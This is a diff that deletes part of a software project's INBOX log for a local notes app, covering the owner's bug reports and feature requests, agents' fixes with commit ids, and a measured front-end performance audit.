-     line, 499 for abandoned requests, greeting name once, one nudge on an
-     empty agent round, built-in engine applies on selection, Chat and agent
-     read the app's help for how-to questions, popup user mark, companion
-     hide sweep, web reader on site-builder pages.
-     Placed, in this order: (1) **a real-model pass before more features**:
-     `scratchpad/llama-dev.sh serve` with a 3B model, then the popup agent's
-     two failing prompts, filing a new note, and `pytest -m evals`, because
-     every failure reported today passed a fake-transport suite; (2) the
-     note flow as one brief (WORLD_CLASS_PLAN, notes dossier): filing,
-     re-filing, tagging and editing measured end to end in the running app
-     with the model; (3) built-in engine status in words (ready, indexing N
-     of M, last query semantic or keyword); (4) minimap drag performance
-     (whiteboard and mind map, measured frame times); (5) companion stacking
-     by perch; (6) graph default forces; (7) the two small visual ones
-     (button gap, Plan/Web pill contrast) with contrast.js.
-
-430. **The owner, 2026-09-27 afternoon, with 37 screenshots (verbatim in the
-    session; condensed here, each placed with an agent).** Bugs: agent turn
-    "Invalid format string" on Windows (**fixed** 180e522); chat citation
-    renumbered to 1 on reload while its peek shows source 8; scroll jumps in
-    chat with a sources fold open; layout flickers between two states every
-    second in devtools responsive mode; top bar not centred at small widths;
-    lightbox meatball menu does nothing; OCR workspace not reachable from
-    Images; '?' popover in Capture does not scroll with a touchpad; tools
-    list draws a second divider over column two's first row; Privacy's
-    Since launch / All time pill has no active state; capture preview
-    crushes line numbers; Atlas spills out of its ring in the tour.
-    Phone and tablet: graph controls overlap, Documents editor cut off,
-    whiteboard will not pan by touch, lightbox, skill logs sidebar (gap,
-    shadow, no hover-expand), gap under the bottom bar, the agent-runs bar
-    on phones, Contents dates overflow, a portrait-shaped graph. Asks:
-    links widget and a rename of Library's Links; notice banners carry
-    their action with a confirm; settings section heads; the agent popup's
-    avatar circles; guide: AI/system answer toggle, much more help, cleaner
-    formatting; model per feature offers "same as chat/utility model";
-    note forms use the live view with a source toggle, no Preview; AI
-    templates (generate, edit, regenerate) and every template in Settings;
-    Windows tray menu extended; constellation in the background art and a
-    better constellation; graph node size by a toggle, Arc fit, Tree
-    centred; companion: perches on every tab, dodges popups, less
-    distracting, lifelike motion and transitions, a show/hide hotkey and
-    palette action; Atlas less chunky, masculine limbs, tilted rings with
-    orbiting bodies, a taller nebula; generated faces vary expression per
-    character. Questions: prompt injection, chat header divider. Rules:
-    two or three agents, Sonnet where quality holds, concise.
-    **Added 2026-09-27 midday (the owner, verbatim):** "also can you extend
-    this menu a bit maybe with sub-sections if necessary, for things such as
-    a quick link to the profile/personas/appearences tab, toggling various
-    features such as masculine/feminine, which companion is displayed etc."
-    (the companion's right-click menu). Its screenshot also shows that menu
-    opening at the window's top left with the companion at the bottom right:
-    recheck on the current head after a0d957a. Decided the same day: desktop
-    first with small laptops (1366x768 at 125%, 1280x720) and tablets next;
-    Links is renamed Bookmarks; the two map kinds are named separately;
-    releases stay on 0.3.3 for now.
-    **Added (the owner):** tab changes: the companion lingers on the old tab
-    a moment then pops in elsewhere. Wanted: it stays behind on quick tab
-    flicks and only follows after the person settles on a tab; it enters
-    smoothly (walks on from the side, climbs up from the bottom bar, climbs
-    down from the top bar, or materialises), never a sudden pop; a "reduce
-    actions" setting so waves and gestures come less often; more stances,
-    Atlas's masculine and feminine each with their own.
-
-427. **Open from INBOX 426, 2026-09-26: two calls only the owner can make.**
-    Everything else in 426 (a to cc) is built and in HISTORY, "INBOX
-    resolved, 2026-09-26"; the agents' smaller leftovers are in
-    `agent-remaining/OPEN.md`, "Left by the 0.3.3 agents".
-    (1) **Atlas's anatomy, the owner's read of rounds 3 and 4.** The trace
-    proofs put the masculine look at 88% of the reference sprite's height
-    and the feminine look's hair a third shorter than the definitive stand's;
-    the owner's review names the next round (hands and feet, the head to body
-    join, the tail's ribbon, the chest star). Judge it in the avatar lab
-    (`tools/avatar-lab.html`, Both looks, All poses) or the README's
-    `docs/screenshots/atlas-hero.png` and `atlas-poses.png`.
-    Recommendation: none to take on the owner's behalf; this is taste.
-    (2) **The companion's pin near an edge.** A companion pinned within 160px
-    of the window's right or bottom edge keeps its distance from that edge
-    when the window is resized (so it moves with the edge); one pinned further
-    in keeps its place. Whether the owner reads the first as "it still
-    moves" (426 l) is not known. Recommendation, taken unless the owner says
-    otherwise: keep it, since a pin by the edge that stayed put would end up
-    off screen or under the scroll bar on a narrower window, which is 426 k.
-
-425. **The owner, 2026-09-24 (after the usage reset), with screenshots.**
-    Avatars: (a) "the avatar shows even when the app is on the lock screen.
-    it should only show when the app is unlocked"; (b) "is there a way to
-    make the corner companion more lifelike and less a circle just chilling
-    somewhere on the screen?? give it life", and "an adaptive companion
-    avatar placement feature where set areas are assigned as possible areas
-    for a companion to sit or chill around while not being in the way on
-    every interface and page. and the companion can even interact with the
-    close ui like hand from a top bar, sit on a bottom bar, walk a top a
-    feature ... just so I dont move it to one area, and then it is annoying
-    for it to be there on another page" (fixed: the companion is one
-    drawn character with a body, and per tab it takes a perch measured from
-    the real UI (hanging from the top bar or a panel's underside, sitting on
-    or standing at a top edge with its legs dangling or tucked, tucked behind
-    the bottom bar as a last resort), never over a control; a spot you drop
-    it on is kept per tab against its panel; a weighted behaviour picker
-    with cooldowns runs one decision every 4 to 12s; commits 4b4f1d4 to
-    5c19f45); (c) "may shuffled avatar reset and
-    didnt persist"; (d) "how does the shuffle work?? does it still base it
-    on what is entered for the name??" (fixed: Your look says it keeps what
-    the name says and any part you chose and redraws the rest, db38ea1);
-    (e) "I want the persona avatar to
-    appear next to where you set the persona for the dashboard greeting";
-    (f) "I set the dashboard greeting to another persona, but when I hit
-    regenerate, it said asking Atlas"; (g) "I changed personas for the
-    dashboard greeting and the avatar/icon changed as I had set it, but when
-    I changed the persona again, it didnt change again"; (h) "the whole
-    thing with the avatars needs a proper polish and bug fix ... a full ui
-    and ux upgrade to properly fit the application" (fixed: every generated
-    face is one designed character, d1e74fd; swept at 1440 and 390, light
-    and dark: row alignment within 0.5px at every list site, no clipping
-    but the large view's ears (fixed), speech bubbles kept inside the
-    window, the companion no longer over the chat composer's settings or
-    the phone's Library tab). Documents: (i) "can
-    there be a document full screen mode so there is more space ... maybe
-    the top bar needs a bit of redesigning or the interface on the document
-    editor needs a bit of visual adjusting to allow for more room. also
-    tables are still really annoying to use and edit in the documents live
-    view" (fixed: focus mode on the dock and F11 hides every band of chrome,
-    a fading floating bar keeps title, words, save state and Exit, 228px to
-    71px above the first line and 520px to 830px of writing at 1440x900;
-    the dock is one 36px row, 49px back in the normal view; Live tables keep
-    the column on the arrows, Enter goes down and adds a row, the arrows
-    leave a table at either end of the document, a spreadsheet paste fills
-    cells or makes a table, the cell menu rides the edited row; the AI
-    assistant's head and verbs redesigned; commits da89a75 to 260bb2a).
-    Settings: (j) "remove the need for saving preferences in the
-    settings and just have it auto save like the rest of the settings";
-    (k) "should these text boxes be aligned to the right??" (the
-    Preferences number fields; answered, no change: measured, all four
-    sit on the pane's one field column at x=812, the same left edge as
-    Display name and the answer-style select, and flushing them right
-    would give each a different left edge because their units differ); (l) "Improve how custom theme cards are
-    displayed" (name truncated "Sea of P...", delete button crowding it; fixed: saved looks get a 10rem track,
-    the name wraps to two lines before it truncates, delete is a badge on
-    the card corner; measured 183px cards, no name clipped at 1440).
-    Dashboard: (m) "the search bar on the dashboard has a glass aesthetic
-    even when it is off"
-    (fixed: its ground was a 4% tint over the page art; the tint now sits
-    on `--card`, which glass off makes solid). Backgrounds: (n) Mycelium start points more
-    organic, smoother faded transitions; (o) optimise Microbes (fixed, both,
-    e5a8c4b and b8ad914: scattered spores, staggered threads, a 2s
-    cross-fade between generations; Microbes 3.0 to 2.2ms a frame; also
-    Constellation 3.5 to 2.4ms, Mesh and Orbs moved to 15/30fps canvases,
-    whole-browser CPU about halved. Still open: Constellation and Microbes
-    just over the 2ms budget on a loaded machine, 0.3 to 1MB/s of canvas
-    garbage from fractional coordinates, pause on blur only after 30s, the
-    dead CSS path and `bg-*` keyframes in 03-dashboard-widgets.css, a faint
-    upscale texture in the dark mesh, 4x-throttle numbers not re-run). (p) "see if there are any more areas to reduce
-    lag ... like the avatars and other animations" (the audit agent, 424).
-    (q) "on the dashboard when on the focused view, the hero section row is
-    ugly and needs improvement and I dont agree with the search bar being on
-    the same line and changing width depending on how long the welcome
-    message is" (fixed: the owner's decision reverses INBOX 296's one-row
-    head; Focused is Full's head at a smaller scale, a 71px banner with the
-    greeting and name nudge, the summary under them and the time on the
-    right, and the search full width beneath it at 1408px whatever the
-    greeting says; measured at 1440 and 390).
-424. **Audit of 2026-09-24 (performance measured in Playwright on a
-    400-note, 1,200-link, 250-object board, 120-topic map, 30-image
-    fixture, at 1440x900, 1x and 4x CPU with CDP profiles; UX walked at
-    1440 and 390). Fixed in this pass: the media poll outliving the
-    Library, the outline rebuilt per typing pause (515ms to 12ms), the
-    avatar follow frame's document-wide query (279ms to 20ms per 60 moves),
-    the unnamed "Toggle Sidebar" button. Open, one line each: measurement,
-    cause, recommendation.**
-    (a) Board, dragging a multi-selection: 44 long tasks, 8.6s of them for
-    40 moves at 4x (max 560ms); `objDragMove` calls `wbUpdateSelectionBar`
-    every move, and `wbItemBBox` runs a document-wide
-    `querySelector('.node-card[data-id=...]')` per item (2.6s); recommend an
-    id-to-element map from the render pass and the bar updated once a frame.
-    (fixed: `objDragMove` 5,167ms → 167ms, profile busy 6.1s → 1.0s, longest
-    task 901ms → 213ms, same harness and fixture at 4x; element cache in
-    `wbItemBBox`, the bar queued once a frame, the chrome groups found once
-    per gesture, the editing check scoped to the board. Bar position mid-drag
-    identical to base over 10 moves, `perf5/barcheck.js`.) Still open on the
-    board, a pan: a devtools.timeline trace of 40 moves at 4x is 43 long
-    tasks, 3.5s, of which `Layerize` is 2.4s and script 0.2s; it stays with
-    the grid sync, the cull, the bar, the navigator and both SVG transforms
-    switched off (`perf5/pantrace.js` VARIANT), so it is the compositor's
-    layer assignment of ~250 painted objects per frame, not a handler.
-    (fixed 2026-09-26: the objects were not the cause, their grips were.
-    Nine per card, invisible but in the tree, each scaled by
-    `--wb-inv-zoom`, split the board into 256 layers; `display: none` at
-    rest gives 138. Two runs each at 4x, 40 moves, `gwperf.js`: long tasks
-    33/38 (2.5/2.7s) to 2/2 (136ms), `Layerize` 1.8/1.7s to 0.34/0.35s,
-    median frame 67/50 to 17/17ms; the zoom's long tasks 2.0s to 0.5s.
-    Grips on hover and selection unchanged, fade kept, `wbpanlayers.js` 6/6,
-    3/6 on base.)
-    (b) Graph node drag at 4x: 137 long tasks, every frame over 33ms (max
-    550ms); `graphMinimapPaint` rebuilds the minimap's SVG on every worker
-    tick (1.56s of `createElementNS`/`setAttribute`/`replaceChildren`);
-    recommend painting the minimap to a canvas, at most once a frame.
-    (fixed: `graphMinimapPaint` 1,502ms → 514ms, profile busy 3.6s → 2.0s
-    for the same 40-move drag at 4x; the ticks queue one paint a frame, the
-    paint moves the existing dots and lines and skips unchanged attributes,
-    and a minimap that is off, on a hidden tab or in a hidden window is not
-    painted. Kept as SVG: the sweeps count its circles. Dots, lines and
-    positions identical to base, `perf5/minicheck.js`, `minimap6b.js`.)
-    (c) Graph wheel zoom at 4x: 31 long tasks, 13.7s, p95 frame 583ms;
-    `gcDraw` re-measures every label (`measureText` 152ms) per frame;
-    recommend caching label widths per node and font size.
-    (fixed: `measureText` 165ms → 0 over 16 wheel steps at 4x; a label is
-    measured once per text at a reference size and scaled with the zoom,
-    dropped when the font changes.)
-    (d) Graph tab switch at 1x: 25 long tasks, 1.6s, 50 of 59 frames over
-    33ms; each visit refetches `/graph` and restarts the layout, and
-    idle on Graph at 4x is still 3.7s of main-thread work per 10s
-    (worker ticks plus minimap); recommend reusing the last settled layout
-    when the notes' version has not changed.
-    (fixed for the layout, not the fetch: main-thread task time in the 12s
-    after a revisit at 4x 6,746ms → 1,382ms; a layout whose inputs, pins,
-    lines, forces and world match the last one to settle, with every note
-    where it left off, starts at rest and is framed as before; any change of
-    input heats it as before. Idle once settled was already ~5ms per 2s: the
-    cost was the re-settle. Still refetched each visit.)
-    (e) Mind map expand of the root (120 topics) at 4x: one 1,336ms task;
-    `renderWbObjects` rebuilds every node through `wbBuildMapNode`
-    (`setAttribute` 354ms); recommend keyed updates so an expand only
-    builds the nodes it reveals.
-    (fixed: the join was already keyed, so an expand of the root does reveal
-    all 119; what it no longer does is build them. A folded topic's element
-    is kept and taken back, for the same datum only. Two runs each at 4x:
-    longest task 899/1,115ms → 597/442ms, profile busy 781/1,016ms →
-    456/319ms, `wbBuildMapNode` 321/419ms → 0. Markup after a fold round
-    trip identical to base apart from attribute order, and a taken-back
-    topic's chevron still folds it, `perf5/mapreuse.js`.)
-    (f) Lightbox next/previous at 4x: 13 long tasks for 5 presses (p95
-    350ms); `show` calls `applyZoom`, which calls `scrollTo` (375ms of
-    forced layout) even when already at fit; recommend scrolling only when
-    the zoom actually changed.
-    (fixed: `show` 457/360ms → 37/28ms and `scrollTo` 406/305ms → 0 over
-    five presses at 4x, two runs each; profile busy 580/465ms → 128/118ms.
-    Fit scrolls only a scroller its own scroll events, or a pan, say is off
-    its origin, so a PDF read halfway down still goes back to the top.
-    `lightboxfit.js` 42/42 on both.)
-    (g) Library tab switch at 1x: 10 long tasks, 580ms (4x: 3.4s, max
-    683ms); `loadLibrary` refetches `/library` and rebuilds every card each
-    visit; recommend the same version check as (d).
-    (open, needs a decision: skipping the rebuild when `/library` answers
-    the same would also keep the selection, which a reload clears on
-    purpose, and leave relative dates as they were drawn. Recommend: keep
-    the cards on screen during the refetch, skip the rebuild when the answer
-    is identical, and clear the selection either way.) (Fixed with that
-    recommendation: an identical answer drawn under five minutes ago is not
-    redrawn unless something is selected; 189 grid mutations over three
-    revisits before, 0 after.)
-    (h) Every tab switch at 4x: `revealTab` 70 to 110ms self time, mostly
-    `querySelectorAll("textarea.autogrow")` then `autoGrow` on each visible
-    one (forced layout per box); recommend autogrowing only the new tab's
-    boxes.
-    (fixed, the autogrow part: every check is read in one pass and only a box
-    measured while hidden, or whose text, width, font or cap changed, is
-    grown; 0 to 12ms per switch. Not the 70 to 110ms: split step by step
-    (`perf5/revealsplit2.js`, 14 switches at 4x) it is `button.tabIndex =`
-    796ms, which forces the style recalc of the page just shown, then 203ms
-    of its layout; autogrow was 30ms of revealTab's 1,318ms. That is the new
-    tab's own style and layout, forced early, and moving it was measured to
-    gain nothing (the note on `revealActiveTab`).)
-    (i) Typing in a note at 4x: 56 of 204 frames over 33ms; each keystroke
-    mirrors the editor into the hidden textarea and dispatches `input`,
-    which runs `autoGrow` (448ms self) on a box nobody sees; recommend
-    skipping autogrow for a box whose editor is mounted.
-    (fixed: `autoGrow` 492/532ms → 16/17ms over the 50-character run at 4x,
-    profile busy 2,448/2,790ms → 1,874/1,713ms. The mirror is left to the
-    stylesheet's `height: 100%`, which an old inline height had overridden:
-    measured after 14 lines, base mirror 315px under a 398px editor, now
-    398px; the editor and its box are unchanged, `perf5/capcheck.js`.)
-    (j) The brand emblem's p5 loop draws at 24fps on every tab while idle
-    (`_draw` about 70ms per 8s at 1x on Dashboard and Chat, and it shows up
-    inside every drag profile); recommend pausing it after a few seconds
-    without input, as the mood timer already tracks.
-    (already fixed by b944d2c, which the audit's worktree predates: the
-    emblem is drawn once and turned by CSS. Measured on this head, 8s idle
-    at 1x: 0ms of script on Dashboard and Chat, `perf5/idleprof.js`.)
-    (k) Library shows at most 200 of each kind (`PER_KIND_LIMIT`,
-    routes_library.py) and its chip counts are the count returned: with 400
-    notes the chip reads "Notes 198", and a plain Library search for the
-    oldest note ("Note 17 summary") says "Nothing matching" while
-    `/entries?q=` finds it; recommend true counts and a server search (or
-    paging) once a kind passes the cap. (Fixed: counts and the overview
-    are real totals, `truncated` names the cut kinds, `/library?q=` matches
-    before the cut and the client swaps those kinds in while searching; a
-    line under the grid says "Showing the newest 186 of 339 notes. Search
-    to reach the rest." Measured on 339 notes: the chip reads 339, a search
-    for the oldest note finds it. Test in tests/test_library.py.)
-    (l) Settings: 18 sections in 4 groups; "Profile & preferences" sits
-    under Atlas but holds the recycle bin, chat history, notifications and
-    writing, is the only section with its own Save button, and repeats a
-    "Web search" heading that only links to the Web search section;
-    recommend "Profile" under Atlas, a "General" section under Your
-    notebook, save on change, and the pointer heading removed. (Fixed:
-    Profile keeps the name, look and About me; General, first under Your
-    notebook, holds the bin, chat history, answer style, search relevance,
-    notifications and writing; both save on change; the Web search pointer
-    heading is gone; the Ask tab's relevance link and the catalogue go to
-    General.)
-    (m) Settings sections are long: Tools 7,592px tall at 1440 (12,058px at
-    390), Appearance 4,537px with 105 controls, Logs 515 controls;
-    recommend collapsed groups (`details`) with the first open, per
-    DESIGN.md.
-    (n) One thing, several names: Chat (tab), "Ask" (Notes sub-tab and
-    status bar), "Write with Atlas" (Notes sub-tab), Atlas (Settings group);
-    Skills (Settings) vs "AI skills" (Library sub-tab); recommend one noun
-    per thing in DESIGN.md's copy rules and a lint.
-    (o) Library: 8 sub-tabs plus 13 chips in All, several the same filter
-    twice (Documents chip and sub-tab; Boards and Mind maps chips and the
-    "Boards & maps" sub-tab; Files chip and sub-tab); 101 visible controls
-    at 1440; recommend the chips be the only kind filter in All.
-    (p) Documents have a tab page with no tab-bar button: the way in is the
-    Library's Documents sub-tab, and the tab bar then highlights Library;
-    recommend a breadcrumb back to the Library in the editor's dock. (Fixed:
-    a "Documents" breadcrumb opens the dock, back to the Library's
-    Documents list, measured at the title's height.)
-    (q) Notes tab: 109 visible controls at 1440, 19 of them under 24px
-    (the link chips on each card); recommend the link chips behind a count
-    ("6 links") on the card, expanded on hover or focus. (Fixed: the
-    first three links show, the rest wait behind "+N more links", which
-    opens them in place.)
-    (r) Memory is clean: 30 tab switches moved the heap 21.7 to 22.3MB,
-    DOM nodes 48,888 to 49,297, listeners flat. Idle Chat once measured
-    599 layouts per 10s at 4x and did not reproduce (0 in a later 5s
-    check): watch for it.
-
-423. **Found, not fixed, by the agents of 2026-09-24 (placed for the next
-    pass; one line each, recommendation first).** (a) The mind map's pie
-    ring does not take focus when it opens, so Enter and the arrows still
-    act on the board while it shows: recommend it takes focus when opened
-    from the keyboard only. (b) DOCX export writes `:::columns`, `[TOC]` and
-    `[!kind]` as plain text: map them to Word columns, a TOC field and a
-    shaded box. (c) Inline `$x$` maths is plain symbols in Read view: render
-    it through the same TeX-to-MathML path as `$$`. (fixed: `INLINE_MATH_RE`
-    (app.js) now claims a `$…$` span with no space inside either delimiter
-    and no digit right after the close; `unlatex` carries it through
-    untouched instead of symbol-swapping it, and `renderInlineMarkdown` cuts
-    it out and draws it with `mdInlineMathElement`, the same `docMathRender`
-    the `$$` blocks use. `tests/test_inline_math.py`.) (d) The OCR workspace's
-    message for a vision reading still suggests installing Tesseract: word
-    it by reader. (fixed: `_regions_for` (routes_files.py) checks
-    `ocr.tesseract_available()` before wording the "no page positions"
-    message; installed but not chosen now says "Switch to Tesseract", missing
-    still says "Install Tesseract". `tests/test_ocr_regions.py`.) (e) At
-    150% zoom the lightbox picture overlaps its caption
-    line. (f) Stored readings that already contain a repeated-line loop are
-    not cleaned: offer "Clean up" in the reading menu. (fixed: a broom
-    button beside Delete reading, in the OCR workspace and the lightbox's
-    other-readings list, POSTs `/files/{id}/ocr-clean-loops` or
-    `/media/{id}/ocr-clean-loops`, which runs `cut_reading_loops` over
-    whichever of `vision_ocr_text`/`ocr_text` are set and saves what
-    changed; the panel repaints from the response. `tests/test_ocr_clean_loops.py`,
-    live-checked with `scratchpad/ui-sweeps/ocrcleanloops.js`.) (g) `_desktop_port()`
-    treats any MemoryMap on the port as ours, whatever its data dir: compare
-    the data dir in `/instance` first. (h) Chat replies saved before
-    2026-09-24 always show Atlas's mark (their persona was never stored).
-    (i) The server-mode process takes 5 to 9s to exit after uvicorn
-    finishes: find the thread that holds it. (fixed: every sync route
-    (almost all of them) runs on one of anyio's own "AnyIO worker thread"
-    objects, which is not a daemon thread and only stops itself on a
-    done-callback that can miss `uvicorn.run()` tearing the loop down;
-    measured leaving one alive, `daemon=False`, right after "Finished
-    server process". `_stop_lingering_worker_threads` (`__main__.py`,
-    called right after `uvicorn.run()` returns) asks it to stop and bounds
-    the wait to 1s. `tests/test_server_shutdown.py` reproduces the leftover
-    thread with a real `uvicorn.Server` running `create_app()` and checks
-    the fix clears it.)
-    (j) `gate.sh --sweeps` on 25d7d56 (fixture data dir /tmp/mm-me):
-    asktab.js 3 findings, libreadingfoot.js "reading visible: false" and
-    "no card with a reading", tagoffer.js 2 failures (manual route and the
-    empty tag row flag). Triage each as app bug or stale sweep before
-    fixing; the reader's 36px page box is fixed (25d7d56).
-
-421. **The owner, 2026-09-24, verbatim, with screenshots (placed in agent
-    briefs, two at a time).** (a) "in the radials on the mind map, the items
-    like "add beside" and "cross-link" are very close to the edges (inner and
-    outer) of the radial and arent centered nicely. also when I press the
-    more button the dropdown menu appears in the top left of my screen"
-    (desktop app; the pie-ring agent could not reproduce the corner with a
-    real click). **(a) built** (INBOX 421 agent): labels centred with 10px to
-    both arcs and dividers (1.4 -> 11.4px, mapradialfit.js); More anchors to
-    the sector read at pointerdown, (0,0) refused and logged, the canvas host
-    no longer scrolls on focus (mapradialmore.js 33/33). The desktop corner
-    itself was still not reproduced headless: the console now names any
-    corner placement, so the owner's log will say which route it was. (b) "the / command blocks and frames need a massive
-    redesign, expansion and improvement, the icons dont render in the live
-    view in the documents editor ... they need ot be impressive and an actual
-    proper thing the user's can use to properly structure out their
-    documents and notes." (live-view callout icon fixed 6e072b2; built
-    2026-09-24: the grouped block inserter, 14 callout kinds, columns in
-    notes, contents, rules, cited quotes, maths, the block bar and document
-    cards, `slashmenu.js`, `blocksrender.js`, `blockbar.js`.) (c)
-    "sometimes document editor dropdowns appear at the top of the screen and
-    other times it is fine, sometimes it doesnt open at all" (the spelling
-    menu, top of the window; fixed 2026-09-24: placed from the
-    finding, never a detached element's empty box; the double-click's first
-    press; the "/" menu follows a scroll; `menuanchor.js` 15/15). (d) "there's no 'x' close button on the trace
-    popup row in the graph" (**built**: an X at the strip's end that leaves
-    trace mode; Done only cleared the ends; graphtraceclose.js). (e) OCR: "I cant delete the ocr entry in the
-    workspace or the lightbox and the text in the lightbox doesnt even appear
-    in the ocr workspace" (workspace delete fixed 6e072b2; the lightbox
-    showed a vision reading of "Test, Test, ..." hundreds of times, a
-    degenerate model loop the app should cut; **built**: loops cut where a
-    reading is produced, each lightbox reading deletable, the workspace shows
-    both stored readings and no longer blanks a stored one when the reader
-    is the model; ocrreadings.js 6/6). (f) The file row in the
-    Library ("PDF · 121 KB · added ... Read · 808 words, Open reader, Used
-    in"): "needs a bit more modern and ui refinement and the second row
-    elements arent aligned and dont really match" (fixed: one size, one
-    line box, middot groups, "Read this" a link). (g) "the lightbox buttons
-    below the image are greyed out?? i opened the image from within a note".
-    (**built**: not disabled, the row was the theme's ghost ink on the dark
-    scrim, 1.37:1 in light from every door; now the scrim's own recipe,
-    8.28:1; lightboxentry.js) (h) View toggles with no clear active state (fixed c920174). (i) "have
-    you included all the new optional packages in the packages settings
-    page??" and "move the preferences settings page up a bit and maybe also
-    turn it a bit into the user's own personal local profile where they can
-    put info about themselves and their name for the ai to use as context
-    and there can also be the generated profile image". (j) "I clicked a note
-    linked in the sources of an ai chat reply and it took me to that note,
-    but when I pressed the back navigation button it opened the settings
-    panel??" (not reproduced: chat then flashEntry then Back lands on chat,
-    also with chat opened from inside Settings; needs the exact path).
-
-413. **The owner, 2026-09-24, verbatim, with a chat screenshot.** "I was in a
-    document in the editor, I opened the suggestions panel and pressed check
-    with ai, it took me to the chat and a popup above the chat suggested that
-    there was a skill available for my requests, it wasnt entirely accurate
-    so I closed it by clicking the 'x' on it and then the whole new chat page
-    started viciously stuttering jumping up and down slightly really fast."
-    Not reproduced headless (with real scrollbars, at 700 to 1048 tall, the
-    dismiss gives one flip, not a loop). The one self-feeding path found is
-    fixed: `fitChatEmpty` took its own class off to measure inside a
-    ResizeObserver; it now reads stored heights with 4px hysteresis, and
-    `#chat-messages` keeps a stable scrollbar gutter. Then the owner's log:
-    "ResizeObserver loop completed with undelivered notifications", many a
-    second, after opening and widening the web panel. The observer now only
-    records the size; the fit runs a frame later, for changes of 2px or more,
-    at most one flip per 500ms (`o-webpanel.js`: 0 loop errors, 1 flip across
-    a 300 to 700px drag, 0 while still). Open until the owner's next run; the skill match being "not entirely accurate" is placed with
-    the documents' Check with AI rework (INBOX 410).
-
-410. **The owner, 2026-09-24, verbatim, with screenshots of the writing
-    dictionary, New from a template, the map's radial menus and two linked
-    map nodes.** "also improve how the \"check with ai\" feature works in the
-    documents editor, allow the suggestions panel to be docked on the right
-    instead if the user wishes and redesign the dictionary panel as it is
-    ugly and needs a proper professional modern redesign." "also when
-    selecting a template, I want to be able to confirm my template
-    selection, not have it instantly be made when I press it" "is there a
-    way to make these mind map item radial options fit better in the
-    radials?? also what if the user asks the guide for all the hidden
-    features, keybinds, controls, utility and more for features like the
-    whiteboard, mindmap and documents editor etc. can it answer those??"
-    "also fix the ci and codeql errors" "when I relink or newly link two
-    mindmap nodes, they clump together??" "drag selection on the whiteboard
-    and mindmap is laggy as well". Read from the screenshots: the radial's
-    labelled pills overhang the ring (a 2-item edge ring and the 6-item node
-    ring both); a relinked node lands on top of its new parent instead of
-    being laid out as its child. CI: four routing rows fixed 2026-09-24 (three
-    moved to topics added that day, "Can Atlas write for me?" gets a new
-    write-with-atlas topic). Placed: documents (check with AI, dockable
-    suggestions, dictionary), templates (confirm), the Guide's per-surface
-    controls reference, map (radial fit, relink layout, marquee lag), in
-    agent briefs as slots free.
-    **Templates (confirm) built 2026-09-24** (bf54953): a click chooses,
-    Use this template, Enter or a double click makes it; sweep
-    `templatepick.js`. 
-    **The Guide's part built 2026-09-24** (guide-controls agent): a controls
-    reference per surface and a hidden features entry, routed by what the
-    question asks c05c684; 55 bank questions (177, top-1 99.4%, top-3 100%)
-    1385b0e; a freshness test against every bound key a164dc2; the caps
-    (a 422 after a long answer and on the fifth question, the reply cut
-    mid-list) 5cb7f8f. Map part built (radial fit 13c41d7, relink b449623, marquee 18b8c15).
-    **The documents' part built 2026-09-24** (the documents agent): Check
-    with AI runs in place, streamed into the suggestions panel with Apply,
-    Dismiss and Stop, a no-model notice with Settings, Models, and Discuss in
-    chat with no long prompt (so no skill nudge, the INBOX 413 half)
-    (cd5dec1, `aicheck.js`); the panel docks at the bottom or on the right,
-    resizable, remembered, always bottom at 720px and below (a8c822a,
-    `prosedock.js`); the dictionary as a settings sheet (bbeda8e,
-    `dictsheet.js`); the Capture box's templates confirm too (26e8d9b,
-    `notetemplatepick.js`). Nothing of 410 is open now; it stays for the
-    orchestrator to resolve with 413.
-
-409. **The owner, 2026-09-24, verbatim, with screenshots of Settings,
-    Templates, the persona list, a .json document with the formatting bar
-    over it, and the Write tab's AI assistant bar.** "templates cant be
-    edited, I want the generation of persona icons to be improved and I also
-    want to auto generate other icons in other places like potentially the
-    user chat bubbles?? idk. also the degree of indenting is shallow, I think
-    it should be more prominent. also this edit/write/remove bar is ugly and
-    doesnt suit a modern app, it needs to be restructured/redesigned or
-    transformed somehow to be better." Read from the screenshots: built-in
-    templates have no edit (only added ones do); the persona marks are a
-    blob on a flat disc, too alike at 20px; the prose formatting bubble (B,
-    I, S, highlight, code, link, H, quote) draws over a code document, where
-    none of it applies; the indent guides step 2 spaces; the AI assistant
-    control is a filled segmented pill. Placed: orchestrator, in this order.
-    **Built 2026-09-24**: templates editable, built-ins included (3a769ed,
-    sweep `templates.js`); persona marks a generated face, closest pair of
-    23 at 40px 5.6% before, 29.8% after (259b743, `namemarks.js`); the
-    user's own mark on their chat bubbles and the persona picker's
-    (0e88b6e, ede4f2a, `chatmarks.js`, bubble box unchanged). The code
-    selection bar and the indent step are 7ab7eec. Open here: the AI
-    assistant bar.
-
-403. **The owner, 2026-09-23 night, verbatim.** "for me, trust in the
-    application isn't just the information it shows but that is very much a
-    key point, it is also how cleanly and professionally the application ui
-    is designed and works. the less professional or unclean any part of the
-    ui is, no matter how small, I instantly doubt the applicationa dn wonder
-    if it is worth putting any time into as it feels unreliable. things like
-    having that small gap between the edge of the note connection pill chips
-    on the right and the 'x' delete button, as well as poorly designed
-    dropdown menus with bd widths, poor spacing, poor alignment, poor
-    heirarchy, positioning, poor learnability, not intuitive controls poor
-    information architecture and more. keep doing what you are doing" The
-    standing bar for every pass (INBOX 399's hole-poke and refinement briefs
-    carry it). Named: the connection pill's x inset, orchestrator; menus
-    (widths, spacing, alignment), a sweep of every menu for width, padding
-    and row alignment.
-
-397. **The owner, 2026-09-23 night, verbatim, from the desktop window with a
-    screenshot.** "I pressed next on the first panel of the guided tour, and
-    it dissappeared while keeping the page dimmed and pushed the top bar down
-    by a couple pixels. I begun the tour from the settings help page." and
-    "you previously said to me multiple times that you werent able to
-    reproduce it, but the bug is real so it has to be something". Read from
-    the screenshot: the dim stays on step 1's hole, so step 2 never drew.
-    Headless runs from Settings, help at 1333x740, 1440x900, 1600x890 and
-    2000x1100 reach "2 of 15" every time, so the cause is in something the
-    desktop window has and this sandbox does not. **Guarded 2026-09-23**
-    (tour.js): an exception in a step becomes the centred card, a card
-    that is off the window or behind something is re-centred, the page's own
-    scroll is pinned at 0 before each step (the top bar moving is the
-    document scrolling), and each of the three writes a `Tour:` line to
-    Settings, Logs. Open until the owner's next run: if it recurs, those
-    lines name the cause.
-    **Then two more screenshots**, from the welcome's last slide and from
-    Settings, help, The basics: the ring the right size and about 620px to
-    the right, then 620px to the left, and no card. A shift that flips sign
-    is a correction computed from a box read mid-move: `tourPlaceFixed` wrote
-    a position, read the element straight back and added the difference, so
-    anything that makes the box lag its style doubles the move. Replaced: the
-    frame's origin is read from `#tour-origin`, a 0x0 fixed probe nothing
